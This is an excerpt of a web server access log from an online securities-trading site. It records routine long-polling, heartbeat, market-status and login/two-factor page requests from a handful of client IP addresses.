[09/Jan/2026:11:09:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928455237 HTTP/1.1" -
[09/Jan/2026:11:09:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928442359 HTTP/1.1" -
[09/Jan/2026:11:09:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928447763 HTTP/1.1" -
[09/Jan/2026:11:09:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928461223 HTTP/1.1" -
[09/Jan/2026:11:09:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928447403 HTTP/1.1" -
[09/Jan/2026:11:09:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928452912 HTTP/1.1" -
[09/Jan/2026:11:09:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928452432 HTTP/1.1" -
[09/Jan/2026:11:09:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928467226 HTTP/1.1" -
[09/Jan/2026:11:09:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:09:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:09:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928458029 HTTP/1.1" -
[09/Jan/2026:11:09:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928457483 HTTP/1.1" -
[09/Jan/2026:11:09:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:09:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:09:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:09:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928473229 HTTP/1.1" -
[09/Jan/2026:11:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928463193 HTTP/1.1" -
[09/Jan/2026:11:09:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928462509 HTTP/1.1" -
[09/Jan/2026:11:09:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928479238 HTTP/1.1" -
[09/Jan/2026:11:09:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928468262 HTTP/1.1" -
[09/Jan/2026:11:09:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:09:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:09:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928467534 HTTP/1.1" -
[09/Jan/2026:11:10:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928485233 HTTP/1.1" -
[09/Jan/2026:11:10:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928473447 HTTP/1.1" -
[09/Jan/2026:11:10:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928472560 HTTP/1.1" -
[09/Jan/2026:11:10:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928478595 HTTP/1.1" -
[09/Jan/2026:11:10:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928491238 HTTP/1.1" -
[09/Jan/2026:11:10:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928477599 HTTP/1.1" -
[09/Jan/2026:11:10:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928483733 HTTP/1.1" -
[09/Jan/2026:11:10:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928482643 HTTP/1.1" -
[09/Jan/2026:11:10:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928497226 HTTP/1.1" -
[09/Jan/2026:11:10:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:10:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:10:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:10:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:10:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928488885 HTTP/1.1" -
[09/Jan/2026:11:10:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:10:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:10:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:10:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:10:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928487684 HTTP/1.1" -
[09/Jan/2026:11:10:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:10:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:10:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928503231 HTTP/1.1" -
[09/Jan/2026:11:10:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928494010 HTTP/1.1" -
[09/Jan/2026:11:10:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928492724 HTTP/1.1" -
[09/Jan/2026:11:10:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928509237 HTTP/1.1" -
[09/Jan/2026:11:10:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:10:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:10:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928499116 HTTP/1.1" -
[09/Jan/2026:11:10:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928497751 HTTP/1.1" -
[09/Jan/2026:11:10:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:11:10:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:11:10:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:11:10:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:10:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928515236 HTTP/1.1" -
[09/Jan/2026:11:10:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 459
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:10:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928504270 HTTP/1.1" -
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:10:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:11:10:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:11:10:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:10:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:10:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:10:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767928500857 HTTP/1.1" 3188
[09/Jan/2026:11:10:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928502770 HTTP/1.1" -
[09/Jan/2026:11:10:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:11:10:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928521232 HTTP/1.1" -
[09/Jan/2026:11:10:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928509397 HTTP/1.1" -
[09/Jan/2026:11:10:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928507811 HTTP/1.1" -
[09/Jan/2026:11:10:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928514519 HTTP/1.1" -
[09/Jan/2026:11:10:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928527238 HTTP/1.1" -
[09/Jan/2026:11:10:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928512867 HTTP/1.1" -
[09/Jan/2026:11:10:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928519660 HTTP/1.1" -
[09/Jan/2026:11:10:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:10:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:10:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:10:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:10:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928517901 HTTP/1.1" -
[09/Jan/2026:11:10:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
